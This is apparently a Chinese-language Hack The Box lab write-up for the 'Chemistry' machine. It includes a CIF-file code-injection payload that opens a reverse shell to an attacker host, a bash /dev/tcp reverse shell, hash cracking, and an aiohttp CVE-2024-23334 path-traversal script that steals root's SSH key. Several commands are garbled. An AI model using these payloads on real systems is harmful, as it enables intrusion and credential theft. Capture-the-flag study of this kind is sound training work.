HTB之Chemistry

admin 2024年10月28日13:31:48评论85 views字数 3646阅读12分9秒阅读模式

HTB之Chemistry

Easy (linux)

 nmap -sS -p---min-rate 10000-Pn10.10.11.38
#22,5000

HTB之Chemistry

注册后自动登录,上传cif文件

HTTPServer[Werkzeug/3.0.3 Python/3.9.5

搜一下 cif恶意文件利用,没有

也没其它功能了

搜下 werkzeug/3.0.3 漏洞,无果

尝试更改cif文件的内容,利用SSTI无果

扫个目录

gobuster dir-u http://chemistry.htb:5000-/usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt

还是要搜 有关 cif文件伪造,但这样搜搜不到的

但是呢,后台语言是python

python read cif file,得到 PyCifRW

PyCifRW exploit,没结果

https://github.com/materialsproject/pymatgen/security/advisories/GHSA-vgv8-5cpj-qj2f

更改原example.cif,上传即可

...
 H 0.000000.000000.000001
 O 0.500000.500000.500001

  _space_group_magn.transform_BNS_Pp_abc  'a,b,[d for d in ().__class__.__mro__[1].__getattribute__ ( *[().__class__.__mro__[1]]+["__sub" + "classes__"]) () if d.__name__ == "BuiltinImporter"][0].load_module ("os").system ("socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("kali_ip",4343));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'");0,0,0'
  _space_group_magn.number_BNS  62.448
_space_group_magn.name_BNS  "
P  n'  m  a'"

提示 /bin/bash: b*ash: command not found

离谱吧,你即使是docker,你有python也应该不报错吧

换了普通vpn

...

_space_group_magn.transform_BNS_Pp_abc  'a,b,[d for d in ().__class__.__mro__[1].__getattribute__ ( *[().__class__.__mro__[1]]+["__sub" + "classes__"]) () if d.__name__ == "BuiltinImporter"][0].load_module ("os").system ("/bin/bash -c 'sh -i >& /dev/tcp/kali_ip/4343 0>&1'");0,0,0'

...

可以

app-shell

目前是app用户,ls /home发现有 rosa用户

有db文件泄露,找到该用户密码,hashcat爆破即可

写了个脚本,靶机可以下载py到当前db文件所在目录,执行脚本解析db文件

import sqlite3
conn= sqlite3.connect("database.db")
cursor = conn.cursor()
cursor.execute("SELECT name FROM sqlite_master WHERE type='table';")
tables = cursor.fetchall()
if tables:
print("数据库中的表如下:")
for table in tables:
print(f" - {table[0]}")
else:
print("数据库中没有表。")
table_name=input("what table")
cursor = conn.cursor()
cursor.execute(f"SELECT * FROM {table_name};")
rows = cursor.fetchall()
if rows:
print(f"{table_name}表中的数据:")
for row in rows:
print(row)
hashcat64.exe "63ed??251a5" rockyou.txt

ssh登录即可

rosa-shell

netstat -ntlp

端口转发

ssh -8080:localhost:8080 rosa@chemistry.htb

HTB之Chemistry

只有list_services接口可以用

找了一会儿,发现流量中响应包给了信息

Server:Python/3.9 aiohttp/3.9.1

搜一下aiohttp/3.9.1 exploit

CVE-2024-23334

https://github.com/z3rObyte/CVE-2024-23334-PoC/blob/main/exploit.sh

从它这个代码不难看出,它是在进行一个所谓的目录穿越漏洞

那么可以尝试直接拿私钥id_rsa文件

#!/bin/bash

url="http://localhost:8080"
string="../"
payload="/static/"
file="root/.ssh/id_rsa"# without the first /

for((i=0; i<15; i++));do
    payload+="$string"
echo"[+] Testing with $payload$file"
    status_code=$(curl --path-as-is --/dev/null -"%{http_code}""$url$payload$file")
echo-"tStatus code --> $status_code"

if[[$status_code-eq 200]];then
        curl ---path-as-is "$url$payload$file"
break
fi
done

嘶,但是确实都404啊

可能是根目录没找对,查看8080网页源代码,是有assets接口的

如果单独访问该接口,会出现403

所以,换个根目录接口,再运行脚本,拿下私钥,ssh登录即可

总结

User.flag:

cif文件伪造反弹shell->db文件泄露->弱密码爆破

Root.flag:

端口转发->CVE-2024-23334

这部分的难点其实是这个CVE我感觉不好找,就cif的文件伪造,我确实没找到

有师傅通过关键词 "cif exploit cve"找到的,我也这样搜,没搜到

噢~,懂了,搜索引擎问题,bing是搜不到的

参考

wp:群里师傅们的讨论

https://github.com/materialsproject/pymatgen/security/advisories/GHSA-vgv8-5cpj-qj2f

结合本靶机代码部分:

from pymatgen.io.cif importCifParser

...
...

@app.route('/structure/<identifier>')
@login_required
defshow_structure(identifier):
...
    parser =CifParser(filepath)#这里
    structures = parser.parse_structures()

emmmm,这个原理我看不懂,会用就完事了

https://www.suse.com/security/cve/CVE-2024-23334.html

app.router.add_get('/', index)
app.router.add_static('/assets/', path='static/', follow_symlinks=True)
app.router.add_get('/list_services', list_services)

触发方式是代码里 'follow_symlinks'设置为True,它没有验证后面的目录是否还属于静态根目录,所以目录遍历漏洞,

防御方式是,禁用该设置并设置反代

POC:https://github.com/z3rObyte/CVE-2024-23334-PoC

原文始发于微信公众号(羽泪云小栈):HTB之Chemistry

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月28日13:31:48
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   HTB之Chemistryhttps://cn-sec.com/archives/3319306.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息